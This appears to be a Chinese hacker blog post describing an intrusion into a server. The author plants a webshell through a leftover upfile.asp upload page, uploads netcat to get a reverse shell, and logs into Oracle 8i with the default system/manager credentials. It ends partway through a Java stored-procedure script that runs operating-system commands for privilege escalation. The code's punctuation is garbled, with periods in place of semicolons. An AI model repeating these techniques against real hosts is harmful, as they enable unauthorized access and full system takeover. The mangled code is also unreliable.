 近日,偶到一主机上逛了一圈 主机的配置 还算是安全 偏偏一个比较隐藏的目录下 残留一upfile.asp,结果轻轻松松的得到一webshell接着在主机上逛了逛,拿出superscan从外面扫了下 只开放了80端口 从user\程序目录里 发现有一快捷方式firecontrol 好象是某款硬件防火墙的控制台?EBSHELL下检测了下 开放的服务 发现一般的可提权的方法 都不可行 无SERV-U等等 主机的补丁也是打到了最新. 试了下,传了个NC上去 反连接得到一SHELL 这下比在老兵的管理器里舒服多了在C盘下看到一目录 oracle 看了下C:\oracle\ora81\network\ADMIN\tnsnames.ora文件 确定了主机的服务名xxx 看了下版本 oracle 8i 用数据库连接器 Provider=MSDAORA.1.Password=manager.User ID=system.Data Source=xxxx 试了下默认的system帐户 密码manager结果真的就连接到了本地的oracle服务这下好了 oracle的system帐户 就像是mssql下的sa 我们来通过他来提升权限 马上编辑了几个脚本 1.sql create or replace and compilejava source named "Util"asimport java.io.*.import java.lang.*. public class Util extends Object{public static int RunThis(String args){Runtime rt = Runtime.getRuntime().int rc = -1. try{Process p = rt.exec(args).int bufSize = 4096.BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize).int len.byte buffer[] = new byte[bufSize].// Echo back what the program spit outwhile ((len = bis.read(buffer, 0, bufSize)) !=

-1)System.out.write(buffer, 0, len). rc = p.waitFor().}catch (Exception e){e.printStackTrace().rc = -1.}finally{return rc.}}}